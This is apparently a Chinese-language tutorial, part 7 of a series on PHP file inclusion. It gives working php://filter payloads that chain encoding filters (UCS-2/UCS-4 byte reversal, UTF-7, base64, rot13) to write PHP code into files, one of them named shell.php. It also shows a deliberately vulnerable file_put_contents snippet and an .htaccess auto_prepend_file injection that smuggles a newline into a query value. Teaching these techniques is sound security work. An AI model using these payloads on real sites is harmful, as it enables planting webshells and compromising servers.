主页 > 网络知识 > 从浅入深学习PHP文件包含(7)

从浅入深学习PHP文件包含(7)

 

从浅入深学习PHP文件包含

 

UCS-4

对目标字符串进行4位一反转,一定要拼凑够4的倍数

php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<aa phpiphp(ofn>?;)/resource=3.php

 

从浅入深学习PHP文件包含

 

0x04:组合拳

UTF-8/UTF-7

还记得上面的base64编码之所以这种

php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

payload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号

 

从浅入深学习PHP文件包含

 

再进解码发现等号并没有转回来

 

从浅入深学习PHP文件包含

 

所以可以利用这种特性来嵌套过滤器,从而绕过等号

php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=1.php 或 php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

 

从浅入深学习PHP文件包含

 

经过测试发现,write=一定要写进去,如果不写PHP不会去自动识别,还有就是内容要写在前面,如果写在后面内容写会写入,但是解析不了,如:

php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

 

从浅入深学习PHP文件包含

 

UCS2/ROT13、UCS4/ROT13

 

从浅入深学习PHP文件包含

 

这里在自己测试的发现,使用UCS2或UCS4进行编码时,这个过程是识别空格的,但是到使用伪协议的时候需要进行反转解码,又无法识别空格,这就是为什么下面的payload要多加一个字符,可以自己测试一下就明白了。

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php #注意这里要补充一个字符,因为空格无法和任意一个字符搭配进行反转

 

从浅入深学习PHP文件包含

 

UCS4/ROT13

同样如此

php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|string.rot13|x?<xx cucvcuc(bsa>?;)/resource=6.php 第三种情况 <?php if(isset($_GET['content'])){ $filename = $_GET['filename']; $content = $_GET['content']; file_put_contents($filename,$content . " xxxxxx"); }else{ highlight_file(__FILE__); }

这种考点一般的话是禁止有特殊起始符和结束符号的语言,如果不禁,直接写入PHP代码就可以执行了,后面的限制也就没有什么意义了,这类问题往往是需要想办法处理掉杂糅代码的。

.htaccess绕过

使用.htaccess文件绕过需要注意该文件是很敏感的,如果有杂糅代码,便会出现错误,导致无法操作,可以使用注释符来将杂糅代码给注释掉

?filename=.htaccess&content=php_value auto_prepend_file D: lag.php%0a%23

 

从浅入深学习PHP文件包含

 

参考博客:
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!